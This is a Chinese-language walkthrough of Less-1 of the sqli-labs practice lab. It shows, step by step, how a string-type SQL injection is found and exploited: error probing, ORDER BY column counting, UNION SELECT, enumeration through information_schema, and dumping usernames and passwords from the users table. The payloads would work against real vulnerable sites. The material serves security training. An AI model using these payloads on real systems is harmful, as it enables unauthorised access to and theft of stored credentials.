sqli-labs Page Less1
- 我们先打开less1上面提示需要自己加上ID参数。
- 我们输入?id=1查看下,可以看到我们得到了如下的回显,经过多次测试,改变id后面的参数可以得到不同的值。
我们在id=1的1后面加一个分号进行查看,可以看到数据库报错了,并且将报错内容回显了出来,从报错内容"1"可以判断此处很可能存在一个字符型的注入漏洞。
3.我们对 id=1 使用 and 1=1 和and 1=2 对此处进验证。1 = 1为恒真,所以理论上页面会正常显示,1 = 2 为恒假,所以页面会报错。
id=1' and 1=1 -- |
id=1' and 1=2 -- |
我们可以看到and 1 = 1 的时候页面回显正常,and 1 = 2的时候页面发生了变化,由此我们能够断定此处存在字符型的sql注入漏洞并且能够使用union联合查询。
4.这时我们就可以使用 order by 进行字段的猜解。我们使用order by 1,order by 2这样逐步猜解。
order by 3 -- |
当order by 3 时页面正常显示
order by 4 -- |
当 order by 4时页面没有内容显示,我们可以得出此处有三个字段。
5.现在我们就要查看显示位,查看数据回显在什么地方
id=1' union select 1,2,3 -- |
这里我们可以看到页面没有任何变化,可以判断出我们的第二条sql查询语句并没有位置显现出来,只有当第一条sql查询语句为假时第二条查询语句才能够显示出来。
id=-1' union select 1,2,3 -- |
id = -1 时前面一条查询语句为假。可以看到2,3能够显示出来。
6.我们现在对数据库版本和当前数据库名称进行查询。
id=-1' union select 1,version(),database() -- |
7.我们对这个数据库进行爆表。
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- |
8.对users表的列进行查询。
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- |
9.我们现在可以对表里面的内容进行查询 。这里我们可以使用 limit 0,1 对显示出的内容进行控制。
显示第一条数据。
id=-1' union select 1,(select concat(id,char(32,58,32),username,password)),3 from security.users limit 0,1 -- |
显示第二条数据。
id=-1' union select 1,(select concat(id,char(32,58,32),username,password)),3 from security.users limit 1,1 -- |
我们也可以使用group_count函数一次性爆出所有数据。
id=-1' union select 1,(select group_concat(id,char(32,58,32),username) from security.users),(select group_concat(id,char(32,58,32),password) from security.users) -- |